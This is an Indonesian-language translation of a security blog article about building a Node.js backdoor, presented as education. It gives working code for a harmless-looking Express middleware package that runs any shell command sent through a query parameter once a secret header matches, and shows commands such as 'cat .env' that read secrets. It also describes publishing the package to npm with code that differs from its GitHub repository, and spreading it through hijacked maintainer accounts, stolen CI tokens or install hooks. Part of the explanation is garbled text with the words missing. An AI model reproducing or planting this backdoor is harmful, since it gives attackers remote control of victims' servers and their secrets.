Ketahui musuh Anda: buat backdoor Node.js

Backdoor dalam kodenya sendiri, yang dapat berinteraksi dengan sistem operasi dengan mulus, adalah salah satu mimpi terburuk dari pengembang mana pun. Saat ini, npm memiliki lebih dari 1,2 juta paket publik. Selama tiga tahun terakhir, kecanduan proyek telah menjadi target ideal bagi penjahat cyber. Ekosistem npm dapat menjadi sangat rapuh jika komunitas pembangunan tidak memperhatikan keamanan. Sebagai bukti dari ide ini, itu sudah cukup untuk mengingat typosquatting dan insiden dengan paket NPM acara-aliran. Penulis artikel, terjemahan yang kami terbitkan hari ini, ingin, untuk tujuan pendidikan, untuk berbicara tentang cara membuat backdoors untuk platform Node.js.





Apa itu backdoor?


Berikut adalah definisi dari istilah "backdoor" yang diberikan pada sumber daya Malwarebytes : "Di bidang cybersecurity, backdoor adalah metode apa pun yang digunakan oleh pengguna yang sah dan tidak sah untuk melewati langkah-langkah keamanan umum dan mendapatkan akses root tingkat tinggi ke sistem komputer, aplikasi jaringan. Setelah mendapatkan akses seperti itu ke sistem, penjahat cyber dapat menggunakan pintu belakang untuk mencuri data pribadi dan keuangan, menginstal malware tambahan, dan meretas perangkat. "

Backdoor terdiri dari dua bagian utama:

  1. Kode berbahaya tertanam dan dieksekusi pada sistem yang diserang
  2. Saluran komunikasi terbuka yang memungkinkan penyerang mengirim perintah ke pintu belakang dan mengendalikan komputer jarak jauh.

Backdoor yang diinstal pada komputer dikirim perintah sebagai respons yang melakukan tindakan tertentu. Ini bisa berupa perintah yang bertujuan mengekstraksi informasi berharga dari sistem, seperti variabel lingkungan, atau dirancang untuk melakukan serangan pada basis data. Selain itu, pelaksanaan perintah tersebut dapat mengakibatkan perubahan dalam proses lain yang mempengaruhi satu komputer atau seluruh jaringan. Skala serangan tergantung pada izin yang dimiliki aplikasi yang terinfeksi. Dalam kasus kami, kami berbicara tentang aplikasi yang ditulis untuk platform Node.js.

Untuk membuat versi sederhana dari program yang mengimplementasikan serangan di atas, kita akan menggunakan modul child_process modul standar untuk mengeksekusi kode. Untuk menjalin komunikasi dengan backdoor, kami menggunakan server HTTP. Saya akan menyarankan Anda untuk menggunakan kerangka kerja Express dalam hal ini, yang dikenal dengan kemampuannya yang sangat besar, tetapi apa yang akan dibahas dapat diimplementasikan menggunakan alat lain yang sesuai.

Mengapa kita perlu proses child_?


Modul Node.js standar child_processdapat digunakan untuk memulai proses anak. Gagasan utama di sini adalah memberi kita kesempatan untuk mengeksekusi perintah (masuk ke proses melalui aliran input standar - stdin) seperti pwdatau ping snyk.io, dan kemudian mengintegrasikan hasil dari perintah ini (output berasal dari aliran output - stdout) dan pesan kesalahan yang mungkin (dari stream stderr) ke program utama.


Eksekusi proses dan hubungannya dengan input standar, output, dan aliran kesalahan, yang memainkan peran aliran input dan output untuk proses sistem yang sedang berjalan.Ada

berbagai cara untuk mengeksekusi proses anak. Untuk serangan ini, paling mudah untuk menggunakan fungsiexecyang memungkinkan Anda untuk memanggil kembali dan memasukkan buffer yang sesuai yang masuk kestdoutdanstreamstderr. Misalnya, apa yang akan dikeluarkan sebagai hasil dari perintahcat passwords.txt. Harap dicatat bahwa fungsiexecbukan cara terbaik untuk melakukan tugas yang panjang sukaping snyk.io.

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Bagaimana cara menggabungkan fungsi exec dengan server HTTP?


Saya mengembangkan paket middleware pengalihan peramban sederhana yang tampak tidak bersalah untuk aplikasi Express. Ini mengalihkan pengguna non-Chrome ke browsehappy.com . Saya akan memasukkan kode berbahaya dalam paket ini.

Kode paket akan seperti ini:

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Sudah cukup bagi korban untuk menginstal paket dan menggunakannya dalam aplikasi Express dengan cara yang sama seperti mereka menggunakan paket apa pun di lapisan tengah:

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Harap dicatat bahwa dalam kasus ini, bahkan jika digunakan Helmet, ini tidak melindungi aplikasi dari serangan.

Kode berbahaya


Penerapan kode jahat cukup sederhana:

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

Bagaimana cara kerja backdoor kita? Untuk menjawab pertanyaan ini, pertimbangkan hal berikut:

  1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
  2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
  3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.


Sekarang setelah kode pintu belakang siap, Anda perlu memikirkan cara mendistribusikan paket jahat.

Langkah pertama adalah mempublikasikan paket. Saya menerbitkan paket browser-redirect@1.0.2dalam npm. Tetapi jika Anda melihat repositori GitHub dari proyek, maka kode jahat tidak akan ada di sana. Lihat sendiri - lihat cabang proyek master dan lepaskan 1.0.2 . Ini dimungkinkan karena fakta bahwa npm tidak memverifikasi kode paket yang diterbitkan dengan kode yang diterbitkan dalam beberapa sistem yang dirancang untuk bekerja dengan kode sumber.

Meskipun paket ini diterbitkan dalam npm, kemungkinan distribusinya masih sangat rendah, karena calon korban masih perlu menemukan dan menginstalnya.

Cara lain untuk mendistribusikan paket adalah dengan menambahkan modul jahat sebagai ketergantungan untuk paket lain. Jika penyerang memiliki akses ke akun dengan hak publikasi dari beberapa paket penting, ia dapat menerbitkan versi baru dari paket tersebut. Ketergantungan versi baru paket juga akan mencakup pintu belakang. Akibatnya, kita berbicara tentang penyertaan langsung paket jahat dalam dependensi proyek populer (lihat analisis insiden yang terjadi dengan event-stream). Atau, penyerang dapat mencoba membuat PR dalam suatu proyek dengan membuat perubahan yang sesuai pada file kunci. Baca tentang ini di sini .

Faktor penting lain yang perlu dipertimbangkan adalah apakah penyerang memiliki akses ke kredensial (nama pengguna dan kata sandi) seseorang yang mendukung proyek populer tertentu. Jika penyerang memiliki data seperti itu, ia dapat dengan mudah merilis versi baru paket - seperti yang terjadi pada eslint .

Tetapi bahkan jika seseorang yang mendukung proyek menggunakan otentikasi dua faktor untuk mempublikasikannya, ia tetap mengambil risiko. Dan ketika sistem integrasi berkelanjutan digunakan untuk menggunakan versi baru proyek, otentikasi dua faktor harus dimatikan. Akibatnya, jika penyerang dapat mencuri token npm yang berfungsi untuk sistem integrasi berkelanjutan (misalnya, dari log yang secara tidak sengaja jatuh ke akses publik, dari kebocoran data, dan dari sumber lain yang sejenis), maka ia akan dapat menggunakan rilis baru yang berisi kode berbahaya .

Harap perhatikan bahwa API baru telah dirilis .(masih dalam status beta pribadi), yang memungkinkan Anda untuk mengetahui apakah paket itu diterbitkan menggunakan alamat IP dari jaringan TOR, dan apakah otentikasi dua faktor digunakan saat penerbitan.

Selain itu, penyerang dapat mengkonfigurasi kode berbahaya sehingga berjalan dalam bentuk skrip yang dijalankan sebelum instalasi atau setelah menginstal paket npm. Ada kait siklus hidup standar untuk paket npm yang memungkinkan Anda mengeksekusi kode pada komputer pengguna pada waktu tertentu. Misalnya, sistem untuk mengatur proyek pengujian di browser, Puppeteer , menggunakan kait ini untuk menginstal Chromium pada sistem host.

Ryan Dahl sudah mengatakantentang kerentanan ini di JSConf EU 2018. Platform Node.js membutuhkan tingkat perlindungan yang lebih tinggi untuk mencegah hal ini dan vektor serangan lainnya.

Berikut adalah beberapa kesimpulan dari studi keamanan perangkat lunak sumber terbuka:

  • 78% kerentanan ditemukan dalam dependensi tidak langsung, yang mempersulit proses menghilangkan kerentanan tersebut.
  • Lebih dari 2 tahun, ada peningkatan kerentanan di perpustakaan sebesar 88%.
  • 81% responden percaya bahwa pengembang sendiri harus bertanggung jawab atas keamanan. Selain itu, mereka percaya bahwa pengembang tidak siap untuk ini.

Hasil: bagaimana melindungi diri Anda dari backdoors?


Mengontrol dependensi tidak selalu mudah, tetapi beberapa tips dapat membantu Anda dengan ini:

  • Gunakan perpustakaan yang terkenal dan didukung dengan baik.
  • Terlibat dalam kehidupan komunitas dan membantu mereka yang mendukung perpustakaan. Bantuan dapat mencakup penulisan kode atau memberikan dukungan keuangan untuk proyek.
  • Gunakan NQP untuk menganalisis dependensi baru proyek Anda.
  • Gunakan Snyk untuk mengikuti perkembangan kerentanan dan memantau proyek Anda.
  • Analisis kode dependensi yang Anda gunakan, disimpan dalam npm. Jangan membatasi diri Anda untuk melihat kode dari GitHub atau sistem serupa lainnya.

Pembaca yang budiman! Bagaimana Anda melindungi proyek Anda menggunakan kode orang lain?


All Articles